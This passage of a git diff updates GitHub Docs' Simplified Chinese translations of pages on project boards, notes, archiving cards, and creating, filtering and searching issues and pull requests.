+**注：**您可以添加注释到项目板以用作任务提醒，引用 {% data variables.product.product_name %} 上任何仓库中的议题和拉取请求，或者添加与项目板相关的信息。 更多信息请参阅“[添加注释到项目板](/articles/adding-notes-to-a-project-board)”。
 
 {% endnote %}
 
 {% data reusables.project-management.edit-in-project %}
 
-{% data reusables.project-management.link-repos-to-project-board %} When you search for issues and pull requests to add to your project board, the search automatically scopes to your linked repositories. You can remove these qualifiers to search within all organization repositories. For more information, see "[Linking a repository to a project board](/articles/linking-a-repository-to-a-project-board)."
+{% data reusables.project-management.link-repos-to-project-board %} 在搜索要添加到项目板的议题和拉取请求时，搜索会自动将范围限于您链接的仓库。 您可以删除这些限定符以搜索所有组织仓库。 更多信息请参阅“[链接仓库到项目板](/articles/linking-a-repository-to-a-project-board)”。
 
-## Adding issues and pull requests to a project board
+## 添加议题和拉取请求到项目板
 
-1. Navigate to the project board where you want to add issues and pull requests.
-2. In your project board, click {% octicon "plus" aria-label="The plus icon" %} **Add cards**.
-![Add cards button](/assets/images/help/projects/add-cards-button.png)
-3. Search for issues and pull requests to add to your project board using search qualifiers. For more information on search qualifiers you can use, see "[Searching issues](/articles/searching-issues)."
-  ![Search issues and pull requests](/assets/images/help/issues/issues_search_bar.png)
+1. 导航到您要在其中添加议题和拉取请求的项目板。
+2. 在项目板中，单击 {% octicon "plus" aria-label="The plus icon" %} **Add cards（添加卡）**。 ![添加卡按钮](/assets/images/help/projects/add-cards-button.png)
+3. 使用搜索限定符搜索要添加到项目板的议题和拉取请求。 有关您可以使用的搜索限定符的更多信息，请参阅“[搜索议题](/articles/searching-issues)”。 ![搜索议题和拉取请求](/assets/images/help/issues/issues_search_bar.png)
 
   {% tip %}
 
-  **Tips:**
-    - You can also add an issue or pull request by typing the URL in a card.
-    - If you're working on a specific feature, you can apply a label to each related issue or pull request for that feature, and then easily add cards to your project board by searching for the label name. For more information, see "[Apply labels to issues and pull requests](/articles/applying-labels-to-issues-and-pull-requests)."
+  **提示：**
+    - 您也可以通过在卡中输入 URL 来添加议题或拉取请求。
+    - 如果您在使用特定功能，可以将标签贴到该功能的每个相关议题或拉取请求，然后通过搜索标签名称轻松地将卡片添加到项目板。 更多信息请参阅“[应用标签到议题和拉取请求](/articles/applying-labels-to-issues-and-pull-requests)”。
 
   {% endtip %}
-4. From the filtered list of issues and pull requests, drag the card you'd like to add to your project board and drop it in the correct column. Alternatively, you can move cards using keyboard shortcuts. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %}
+4. 从过滤的议题和拉取请求列表，将要添加到项目板的卡片拖放到正确的列中。 也可以使用键盘快捷键移动卡片。 {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %}
 
     {% tip %}
 
-    **Tip:** You can drag and drop or use keyboard shortcuts to reorder cards and move them between columns. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %}
+    **提示：**可以通过拖放或键盘快捷键对卡片重新排序以及在列之间移动它们。 {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %}
 
     {% endtip %}
 
-## Adding issues and pull requests to a project board from the sidebar
+## 从侧栏添加议题和拉取请求到项目板
 
-1. On the right side of an issue or pull request, click **Projects {% octicon "gear" aria-label="The Gear icon" %}**.
-  ![Project board button in sidebar](/assets/images/help/projects/sidebar-project.png)
-2. Click the **Recent**, **Repository**,**User**, or **Organization** tab for the project board you would like to add to.
-  ![Recent, Repository and Organization tabs](/assets/images/help/projects/sidebar-project-tabs.png)
-3. Type the name of the project in **Filter projects** field.
-  ![Project board search box](/assets/images/help/projects/sidebar-search-project.png)
-4. Select one or more project boards where you want to add the issue or pull request.
-  ![Selected project board](/assets/images/help/projects/sidebar-select-project.png)
-5. Click {% octicon "triangle-down" aria-label="The down triangle icon" %}, then click the column where you want your issue or pull request. The card will move to the bottom of the project board column you select.
-  ![Move card to column menu](/assets/images/help/projects/sidebar-select-project-board-column-menu.png)
+1. 在议题或拉取请求右侧单击 **Projects（项目）{% octicon "gear" aria-label="The Gear icon" %}**。 ![侧栏中的项目板按钮](/assets/images/help/projects/sidebar-project.png)
+2. 单击要添加到其中的项目板对应的 **Recent（最近）**、**Repository（仓库）**、**User（用户）**或 **Organization（组织）**选项卡。 ![最近、仓库和组织选项卡](/assets/images/help/projects/sidebar-project-tabs.png)
+3. 在 **Filter projects（过滤项目）**字段中输入项目的名称。 ![项目板搜索框](/assets/images/help/projects/sidebar-search-project.png)
+4. 选择要添加议题或拉取请求的一个或多个项目板。 ![选择的项目板](/assets/images/help/projects/sidebar-select-project.png)
+5. 单击 {% octicon "triangle-down" aria-label="The down triangle icon" %}，然后单击您希望议题或拉取请求所在的列。 该卡将移到您选择的项目板列的底部。 ![将卡移至列菜单](/assets/images/help/projects/sidebar-select-project-board-column-menu.png)
 
-## Further reading
+## 延伸阅读
 
-- "[About project boards](/articles/about-project-boards)"
-- "[Editing a project board](/articles/editing-a-project-board)"
-- "[Filtering cards on a project board](/articles/filtering-cards-on-a-project-board)"
+- "[关于项目板](/articles/about-project-boards)"
+- "[编辑项目板](/articles/editing-a-project-board)"
+- "[过滤项目板上的卡](/articles/filtering-cards-on-a-project-board)"
diff --git a/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md b/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md
index 2cf815d675..2237b49694 100644
--- a/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md
+++ b/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md
@@ -1,6 +1,6 @@
 ---
-title: Adding notes to a project board
-intro: You can add notes to a project board to serve as task reminders or to add information related to the project board.
+title: 添加注释到项目板
+intro: 您可以添加注释到项目板以用作任务提醒，或者添加与项目板相关的信息。
 redirect_from:
   - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/adding-notes-to-a-project-board
   - /articles/adding-notes-to-a-project
@@ -13,72 +13,66 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Add notes to board
+shortTitle: 添加备注到板
 ---
+
 {% data reusables.projects.project_boards_old %}
 
 {% tip %}
 
-**Tips:**
-- You can format your note using Markdown syntax. For example, you can use headings, links, task lists, or emoji. For more information, see "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)."
-- You can drag and drop or use keyboard shortcuts to reorder notes and move them between columns. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %}
-- Your project board must have at least one column before you can add notes. For more information, see "[Creating a project board](/articles/creating-a-project-board)."
+**提示：**
+- 您可以使用 Markdown 语法格式化注释。 例如，可以使用标题、链接、任务列表或表情符号。 更多信息请参阅“[基本撰写和格式语法](/articles/basic-writing-and-formatting-syntax)”。
+- 可以通过拖放或键盘快捷键对注释重新排序以及在列之间移动它们。 {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %}
+- 项目板必须至少有一列才可添加注释。 更多信息请参阅“[创建项目板](/articles/creating-a-project-board)”。
 
 {% endtip %}
 
-When you add a URL for an issue, pull request, or another project board to a note, you'll see a preview in a summary card below your text.
+在注释中添加议题、拉取请求或另一个项目板的 URL 时，在文本下面的摘要卡中会看到预览。
 
-![Project board cards showing a preview of an issue and another project board](/assets/images/help/projects/note-with-summary-card.png)
+![显示议题和另一个项目板预览的项目板卡](/assets/images/help/projects/note-with-summary-card.png)
 
-## Adding notes to a project board
+## 添加注释到项目板
 
-1. Navigate to the project board where you want to add notes.
-2. In the column you want to add a note to, click {% octicon "plus" aria-label="The plus icon" %}.
-![Plus icon in the column header](/assets/images/help/projects/add-note-button.png)
-3. Type your note, then click **Add**.
-![Field for typing a note and Add card button](/assets/images/help/projects/create-and-add-note-button.png)
+1. 导航到您要在其中添加注释的项目板。
+2. 在要添加注释的列中，单击 {% octicon "plus" aria-label="The plus icon" %}。 ![列标题中的加号](/assets/images/help/projects/add-note-button.png)
+3. 输入您的注释，然后单击 **Add（添加）**。 ![用于输入注释的字段和添加卡按钮](/assets/images/help/projects/create-and-add-note-button.png)
 
   {% tip %}
 
-  **Tip:** You can reference an issue or pull request in your note by typing its URL in the card.
+  **提示：**您可以在注释中输入议题或拉取请求在卡中的 URL 以引用它们。
 
   {% endtip %}
 
-## Converting a note to an issue
+## 将注释转换为议题
 
-If you've created a note and find that it isn't sufficient for your needs, you can convert it to an issue.
+如果您创建了注释但发现它不足以表达您的需求，可以将其转换为议题。
 
-When you convert a note to an issue, the issue is automatically created using the content from the note. The first line of the note will be the issue title and any additional content from the note will be added to the issue description.
+在将注释转换为议题时，会使用注释中的内容自动创建议题。 注释的第一行将成为议题的标题，其他内容将添加到议题说明中。
 
 {% tip %}
 
-**Tip:** You can add content in the body of your note to @mention someone, link to another issue or pull request, and add emoji. These {% data variables.product.prodname_dotcom %} Flavored Markdown features aren't supported within project board notes, but once your note is converted to an issue, they'll appear correctly. For more information on using these features, see "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/about-writing-and-formatting-on-github)."
+**提示：**您可以添加注释正文的内容以 @提及某人、链接到其他议题或拉取请求，以及添加表情符号。 这些 {% data variables.product.prodname_dotcom %} Flavored Markdown 功能在项目板注释中不受支持，但在注释转换为议题之后，它们会正确显示。 有关使用这些功能的更多信息，请参阅“[关于在 {% data variables.product.prodname_dotcom %} 上编写和设置格式](/articles/about-writing-and-formatting-on-github)”。
 
 {% endtip %}
 
-1. Navigate to the note that you want to convert to an issue.
+1. 导航到您要转换为议题的注释。
 {% data reusables.project-management.project-note-more-options %}
-3. Click **Convert to issue**.
-  ![Convert to issue button](/assets/images/help/projects/convert-to-issue.png)
-4. If the card is on an organization-wide project board, in the drop-down menu, choose the repository you want to add the issue to.
-  ![Drop-down menu listing repositories where you can create the issue](/assets/images/help/projects/convert-note-choose-repository.png)
-5. Optionally, edit the pre-filled issue title, and type an issue body.
-  ![Fields for issue title and body](/assets/images/help/projects/convert-note-issue-title-body.png)
-6. Click **Convert to issue**.
-7. The note is automatically converted to an issue. In the project board, the new issue card will be in the same location as the previous note.
+3. 单击 **Convert to issue（转换为议题）**。 ![转换为议题按钮](/assets/images/help/projects/convert-to-issue.png)
+4. 如果卡在全组织项目板上，请从下拉菜单中选择要添加议题到其中的仓库。 ![列出可在其中创建议题的仓库的下拉菜单](/assets/images/help/projects/convert-note-choose-repository.png)
+5. 可以选择编辑预填的议题标题，并输入议题正文。 ![议题标题和正文字段](/assets/images/help/projects/convert-note-issue-title-body.png)
+6. 单击 **Convert to issue（转换为议题）**。
+7. 该注释会自动转换为议题。 在项目板中，新议题卡与之前注释的位置一样。
 
-## Editing and removing a note
+## 编辑和删除注释
 
-1. Navigate to the note that you want to edit or remove.
+1. 导航到您要编辑或删除的注释。
 {% data reusables.project-management.project-note-more-options %}
-3. To edit the contents of the note, click **Edit note**.
-  ![Edit note button](/assets/images/help/projects/edit-note.png)
-4. To delete the contents of the notes, click **Delete note**.
-  ![Delete note button](/assets/images/help/projects/delete-note.png)
+3. 要编辑注释的内容，请单击 **Edit note（编辑注释）**。 ![编辑注释按钮](/assets/images/help/projects/edit-note.png)
+4. 要删除注释的内容，请单击 **Delete note（删除注释）**。 ![删除注释按钮](/assets/images/help/projects/delete-note.png)
 
-## Further reading
+## 延伸阅读
 
-- "[About project boards](/articles/about-project-boards)"
-- "[Creating a project board](/articles/creating-a-project-board)"
-- "[Editing a project board](/articles/editing-a-project-board)"
-- "[Adding issues and pull requests to a project board](/articles/adding-issues-and-pull-requests-to-a-project-board)"
+- "[关于项目板](/articles/about-project-boards)"
+- "[创建项目板](/articles/creating-a-project-board)"
+- "[编辑项目板](/articles/editing-a-project-board)"
+- "[添加议题和拉取请求到项目板](/articles/adding-issues-and-pull-requests-to-a-project-board)"
diff --git a/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md b/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md
index 468f331636..41e857bcba 100644
--- a/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md
+++ b/translations/zh-CN/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md
@@ -21,7 +21,7 @@ shortTitle: 存档内置卡
 
 ## 存档项目板上的卡
 
-1. 在项目板中，找到要存档的卡，然后单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}。 ![用于编辑项目板卡的选项列表](/assets/images/help/projects/select-archiving-options-project-board-card.png)
+1. In a project board, find the card you want to archive, then click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. ![用于编辑项目板卡的选项列表](/assets/images/help/projects/select-archiving-options-project-board-card.png)
 2. 单击 **Archive（存档）**。 ![从菜单中选择存档选项](/assets/images/help/projects/archive-project-board-card.png)
 
 ## 从侧栏恢复项目板中的卡
diff --git a/translations/zh-CN/content/issues/tracking-your-work-with-issues/about-issues.md b/translations/zh-CN/content/issues/tracking-your-work-with-issues/about-issues.md
index ebd5ac6cf6..e4f8a1b704 100644
--- a/translations/zh-CN/content/issues/tracking-your-work-with-issues/about-issues.md
+++ b/translations/zh-CN/content/issues/tracking-your-work-with-issues/about-issues.md
@@ -1,6 +1,6 @@
 ---
-title: About issues
-intro: 'Use {% data variables.product.prodname_github_issues %} to track ideas, feedback, tasks, or bugs for work on {% data variables.product.company_short %}.'
+title: 关于议题
+intro: '使用 {% data variables.product.prodname_github_issues %} 追踪在 {% data variables.product.company_short %} 上的想法、反馈、任务或缺陷。'
 redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/about-issues
   - /articles/creating-issues
@@ -17,38 +17,39 @@ topics:
   - Issues
   - Project management
 ---
-## Integrated with GitHub
 
-Issues let you track your work on {% data variables.product.company_short %}, where development happens. When you mention an issue in another issue or pull request, the issue's timeline reflects the cross-reference so that you can keep track of related work. To indicate that work is in progress, you can link an issue to a pull request. When the pull request merges, the linked issue automatically closes.
+## 集成 GitHub
 
-## Quickly create issues
+议题让您可以在进行开发的 {% data variables.product.company_short %} 上跟踪您的工作。 当您在议题中提到另一个议题或拉取请求时，该议题的时间表会反映交叉参考，以便你能够跟踪相关的工作。 要表示工作正在进行中，您可以将议题链接到拉取请求。 当拉取请求合并时，链接的议题会自动关闭。
 
-Issues can be created in a variety of ways, so you can choose the most convenient method for your workflow. For example, you can create an issue from a repository,{% ifversion fpt or ghec %} an item in a task list,{% endif %} a note in a project, a comment in an issue or pull request, a specific line of code, or a URL query. You can also create an issue from your platform of choice: through the web UI, {% data variables.product.prodname_desktop %}, {% data variables.product.prodname_cli %}, GraphQL and REST APIs, or {% data variables.product.prodname_mobile %}. For more information, see "[Creating an issue](/issues/tracking-your-work-with-issues/creating-issues/creating-an-issue)."
+## 快速创建议题
 
-## Track work
+议题可以通过多种方式创建，因此您可以为工作流程选择最方便的方法。 例如，您可以从仓库创建议题、{% ifversion fpt or ghec %} 任务列表中的项目、{% endif %} 项目中的注释、议题或拉取请求中的评论、特定代码行或 URL 查询。 您也可以从选择的平台创建议题：通过 Web 界面、{% data variables.product.prodname_desktop %}、{% data variables.product.prodname_cli %}、GraphQL 和 REST API 或 {% data variables.product.prodname_mobile %}。 更多信息请参阅“[创建议题](/issues/tracking-your-work-with-issues/creating-issues/creating-an-issue)”。
 
-You can organize and prioritize issues with projects. {% ifversion fpt or ghec %}To track issues as part of a larger issue, you can use task lists.{% endif %} To categorize related issues, you can use labels and milestones.
+## 跟踪工作
 
-For more information about projects, see {% ifversion fpt or ghec %}"[About projects (beta)](/issues/trying-out-the-new-projects-experience/about-projects)" and {% endif %}"[Organizing your work with project boards](/issues/organizing-your-work-with-project-boards)." {% ifversion fpt or ghec %}For more information about task lists, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)." {% endif %}For more information about labels and milestones, see "[Using labels and milestones to track work](/issues/using-labels-and-milestones-to-track-work)."
+您可以通过项目组织议题并排定优先级。 {% ifversion fpt or ghec %}要跟踪作为较大议题一部分的议题，您可以使用任务列表。{% endif %} 要对相关议题进行分类，您可以使用标签和里程碑。
 
-## Stay up to date
+有关项目的更多信息，请参阅 {% ifversion fpt or ghec %}“[关于项目（测试版）](/issues/trying-out-the-new-projects-experience/about-projects)”和{% endif %}“[组织对项目板的使用](/issues/organizing-your-work-with-project-boards)”。 {% ifversion fpt or ghec %}有关任务列表的更多信息，请参阅“[关于任务列表](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)”。 {% endif %}有关标签和里程碑的更多信息，请参阅“[使用标签和里程碑跟踪工作](/issues/using-labels-and-milestones-to-track-work)”。
 
-To stay updated on the most recent comments in an issue, you can subscribe to an issue to receive notifications about the latest comments. To quickly find links to recently updated issues you're subscribed to, visit your dashboard. For more information, see {% ifversion fpt or ghes or ghae or ghec %}"[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}"[About notifications](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}" and "[About your personal dashboard](/articles/about-your-personal-dashboard)."
+## 保持更新
 
-## Community management
+为保持更新议题中的最新评论，您可以订阅议题以接收关于最新评论的通知。 要快速查找指向您订阅的最新议题的链接，请访问仪表板。 更多信息请参阅 {% ifversion fpt or ghes or ghae or ghec %}“[关于通知](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}”[关于通知](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}”和“[关于个人仪表板](/articles/about-your-personal-dashboard)”。
 
-To help contributors open meaningful issues that provide the information that you need, you can use {% ifversion fpt or ghec %}issue forms and {% endif %}issue templates. For more information, see "[Using templates to encourage useful issues and pull requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)."
+## 社区管理
 
-{% ifversion fpt or ghec %}To maintain a healthy community, you can report comments that violate {% data variables.product.prodname_dotcom %}'s [Community Guidelines](/free-pro-team@latest/github/site-policy/github-community-guidelines). For more information, see "[Reporting abuse or spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)."{% endif %}
+为了帮助贡献者打开有意义的议题，提供您需要的信息，您可以使用 {% ifversion fpt or ghec %}议题表单和 {% endif %}议题模板。 更多信息请参阅“[使用模板鼓励有用的议题和拉取请求](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)”。
 
-## Efficient communication
+{% ifversion fpt or ghec %}为了维护健康的社区，您可以报告违反{% data variables.product.prodname_dotcom %}[社区指导方针](/free-pro-team@latest/github/site-policy/github-community-guidelines)的评论。 更多信息请参阅“[报告滥用或垃圾邮件](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)”。{% endif %}
 
-You can @mention collaborators who have access to your repository in an issue to draw their attention to a comment. To link related issues in the same repository, you can type `#` followed by part of the issue title and then clicking the issue that you want to link. To communicate responsibility, you can assign issues. If you find yourself frequently typing the same comment, you can use saved replies.
-{% ifversion fpt or ghec %} For more information, see "[Basic writing and formatting syntax](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)" and "[Assigning issues and pull requests to other GitHub users](/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users)."
+## 高效沟通
 
-## Comparing issues and discussions
+您可以在议题中@提及能访问您的仓库的协作者，以提请他们注意评论。 要将相关议题链接到同一仓库，您可以键入 `#`，后接议题标题的一部分，然后点击要链接的议题。 为了沟通责任，您可以分配议题。 如果您发现自己经常输入相同的评论，可以使用已保存的回复。
+{% ifversion fpt or ghec %} 更多信息请参阅“[基本编写和格式语法](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)”和“[将议题和拉取请求分配到其他 GitHub 用户](/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users)”。
 
-Some conversations are more suitable for {% data variables.product.prodname_discussions %}. {% data reusables.discussions.you-can-use-discussions %} For guidance on when to use an issue or a discussion, see "[Communicating on GitHub](/github/getting-started-with-github/quickstart/communicating-on-github)."
+## 比较议题和讨论
 
-When a conversation in an issue is better suited for a discussion, you can convert the issue to a discussion.
+Some conversations are more suitable for {% data variables.product.prodname_discussions %}. {% data reusables.discussions.you-can-use-discussions %} 有关何时使用议题或讨论的指导，请参阅“[在 GitHub 上沟通](/github/getting-started-with-github/quickstart/communicating-on-github)”。
+
+当某个议题中的对话更适合讨论时，您可以将议题转换为讨论。
 {% endif %}
diff --git a/translations/zh-CN/content/issues/tracking-your-work-with-issues/creating-an-issue.md b/translations/zh-CN/content/issues/tracking-your-work-with-issues/creating-an-issue.md
index c51a74360a..180dfe1183 100644
--- a/translations/zh-CN/content/issues/tracking-your-work-with-issues/creating-an-issue.md
+++ b/translations/zh-CN/content/issues/tracking-your-work-with-issues/creating-an-issue.md
@@ -83,7 +83,7 @@ gh issue create --title "My new issue" --body "Here are more details." --assigne
 {% data reusables.repositories.navigate-to-repo %}
 1. 找到要在议题中引用的代码：
     - 要打开文件中代码相关的议题，请找到该文件。
-    - 要打开拉取请求中代码相关的议题，请找到该拉取请求并单击 {% octicon "diff" aria-label="The file diff icon" %} **Files changed（文件已更改）**。 然后浏览到含有要包含在评论中的代码的文件，并单击 **View（查看）**。
+    - 要打开拉取请求中代码相关的议题，请找到该拉取请求并单击 {% octicon "diff" aria-label="The file diff icon" %} **Files changed（文件已更改）**。 Then, browse to the file that contains the code you want included in your comment, and click **View**.
 {% data reusables.repositories.choose-line-or-range %}
 4. 在代码范围左侧，单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %}。 在下拉菜单中，单击 **Reference in new issue（新议题中的引用）**。 ![带有从所选行打开新议题的选项的烤肉串式菜单](/assets/images/help/repository/open-new-issue-specific-line.png)
 {% data reusables.repositories.type-issue-title-and-description %}
diff --git a/translations/zh-CN/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md b/translations/zh-CN/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md
index 6f847a5927..54127c76d7 100644
--- a/translations/zh-CN/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md
+++ b/translations/zh-CN/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md
@@ -47,94 +47,87 @@ type: how_to
 
 {% data reusables.cli.filter-issues-and-pull-requests-tip %}
 
-## Filtering issues and pull requests 
+## 过滤议题和拉取请求
 
-Issues and pull requests come with a set of default filters you can apply to organize your listings.
+议题和拉取请求带有一组默认过滤器，您可以应用这些过滤器来组织列表。
 
 {% data reusables.search.requested_reviews_search %}
 
-You can filter issues and pull requests to find:
-- All open issues and pull requests
-- Issues and pull requests that you've created
-- Issues and pull requests that are assigned to you
-- Issues and pull requests where you're [**@mentioned**](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)
+您可以过滤议题和拉取请求以查找：
+- 所有打开的议题和拉取请求
+- 您已创建的议题和拉取请求
+- 分配给您的议题和拉取请求
+- [**@提及**](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)您的议题和拉取请求
 
 {% data reusables.cli.filter-issues-and-pull-requests-tip %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issue-pr %}
-3. Click **Filters** to choose the type of filter you're interested in.
-  ![Using the Filters drop-down](/assets/images/help/issues/issues_filter_dropdown.png)
+3. 单击 **Filters（过滤器）**以选择您感兴趣的过滤器类型。 ![使用过滤器下拉菜单](/assets/images/help/issues/issues_filter_dropdown.png)
 
-## Filtering issues and pull requests by assignees
+## 按受理人过滤议题和拉取请求
 
 Once you've [assigned an issue or pull request to someone](/articles/assigning-issues-and-pull-requests-to-other-github-users), you can find items based on who's working on them.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issue-pr %}
-3. In the upper-right corner, select the Assignee drop-down menu.
-4. The Assignee drop-down menu lists everyone who has write access to your repository. Click the name of the person whose assigned items you want to see, or click **Assigned to nobody** to see which issues are unassigned.
-![Using the Assignees drop-down tab](/assets/images/help/issues/issues_assignee_dropdown.png)
+3. 在右上角，选择 Assignee（受理人）下拉菜单。
+4. Assignee（受理人）下拉菜单将列出对仓库有写入权限的每个人。 单击要查看项目的受理人用户名，或单击 **Assigned to nobody（未分配给任何人）**以查看未分配的议题。 ![使用受理人下拉菜单选项卡](/assets/images/help/issues/issues_assignee_dropdown.png)
 
 {% tip %}
 
-To clear your filter selection, click **Clear current search query, filters, and sorts**.
+要清除过滤器选择，请单击 **Clear current search query, filters, and sorts（清除当前搜索查询、过滤和排序）**。
 
 {% endtip %}
 
-## Filtering issues and pull requests by labels
+## 按标签过滤议题和拉取请求
 
 Once you've [applied labels to an issue or pull request](/articles/applying-labels-to-issues-and-pull-requests), you can find items based on their labels.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issue-pr %}
 {% data reusables.project-management.labels %}
-4. In the list of labels, click a label to see the issues and pull requests that it's been applied to.
-  ![List of a repository's labels](/assets/images/help/issues/labels-page.png)
+4. 在标签列表中，单击标签以查看应用了该标签的议题和拉取请求。 ![仓库标签列表](/assets/images/help/issues/labels-page.png)
 
 {% tip %}
 
-**Tip:** To clear your filter selection, click **Clear current search query, filters, and sorts**.
+**提示：**要清除过滤器选择，请单击 **Clear current search query, filters, and sorts（清除当前搜索查询、过滤和排序）**。
 
 {% endtip %}
 
-## Filtering pull requests by review status
+## 按审查状态过滤拉取请求
 
-You can use filters to list pull requests by review status and to find pull requests that you've reviewed or other people have asked you to review.
+您可以使用过滤器按审查状态列出拉取请求，查找您已审查的拉取请求或其他人要求您审查的拉取请求。
 
-You can filter a repository's list of pull requests to find:
-- Pull requests that haven't been [reviewed](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) yet
-- Pull requests that [require a review](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging) before they can be merged
-- Pull requests that a reviewer has approved
-- Pull requests in which a reviewer has asked for changes
+您可以过滤仓库的拉取请求列表以查找：
+- 尚未[审查](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)的拉取请求
+- [需要审查](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)后才能合并的拉取请求
+- 审查者已批准的拉取请求
+- 审查者要求更改的拉取请求
 - Pull requests that you have reviewed{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
 - Pull requests that someone has asked you directly to review{% endif %}
-- Pull requests that [someone has asked you, or a team you're a member of, to review](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review)
+- [有人要求您或您所属团队进行审查](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review)的拉取请求
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-pr %}
-3. In the upper-right corner, select the Reviews drop-down menu.
-  ![Reviews drop-down menu in the filter menu above the list of pull requests](/assets/images/help/pull_requests/reviews-filter-dropdown.png)
-4. Choose a filter to find all of the pull requests with that filter's status.
-  ![List of filters in the Reviews drop-down menu](/assets/images/help/pull_requests/pr-review-filters.png)
+3. 在右上角，选择 Reviews（审查）下拉菜单。 ![拉取请求列表上方过滤器菜单中的审查下拉菜单](/assets/images/help/pull_requests/reviews-filter-dropdown.png)
+4. 选择一个过滤器以查找具有该过滤器状态的所有拉取请求。 ![审查下拉菜单中的过滤器列表](/assets/images/help/pull_requests/pr-review-filters.png)
 
-## Using search to filter issues and pull requests
+## 使用搜索过滤议题和拉取请求
 
 You can use advanced filters to search for issues and pull requests that meet specific criteria.
 
 ### Searching for issues and pull requests
 
-{% include tool-switcher %}
-
 {% webui %}
 
-The issues and pull requests search bar allows you to define your own custom filters and sort by a wide variety of criteria. You can find the search bar on each repository's **Issues** and **Pull requests** tabs and on your [Issues and Pull requests dashboards](/articles/viewing-all-of-your-issues-and-pull-requests).
+议题和拉取请求搜索栏可以定义您自己的自定义过滤器并按各种标准进行排序。 您可以在每个仓库的 **Issues（议题）**和 **Pull requests（拉取请求）**选项卡上以及[议题和拉取请求仪表板](/articles/viewing-all-of-your-issues-and-pull-requests)上找到搜索栏。
 
-![The issues and pull requests search bar](/assets/images/help/issues/issues_search_bar.png)
+![议题和拉取请求搜索栏](/assets/images/help/issues/issues_search_bar.png)
 
 {% tip %}
 
-**Tip:** {% data reusables.search.search_issues_and_pull_requests_shortcut %}
+**提示：**{% data reusables.search.search_issues_and_pull_requests_shortcut %}
 
 {% endtip %}
 
@@ -162,76 +155,75 @@ gh pr list --search "team:octo-org/octo-team"
 
 ### About search terms
 
-With issue and pull request search terms, you can:
+使用议题和拉取请求搜索词，您可以：
 
-- Filter issues and pull requests by author: `state:open type:issue author:octocat`
-- Filter issues and pull requests that involve, but don't necessarily [**@mention**](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams), certain people: `state:open type:issue involves:octocat`
-- Filter issues and pull requests by assignee: `state:open type:issue assignee:octocat`
-- Filter issues and pull requests by label: `state:open type:issue label:"bug"`
-- Filter out search terms by using `-` before the term: `state:open type:issue -author:octocat`
+- 按作者过滤议题和拉取请求：`state:open type:issue author:octocat`
+- 过滤涉及但不一定[**@提及**](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)的特定人员的议题和拉取请求：`state:open type:issue involves:octocat`
+- 按受理人过滤议题和拉取请求：`state:open type:issue assignee:octocat`
+- 按标签过滤议题和拉取请求：`state:open type:issue label:"bug"`
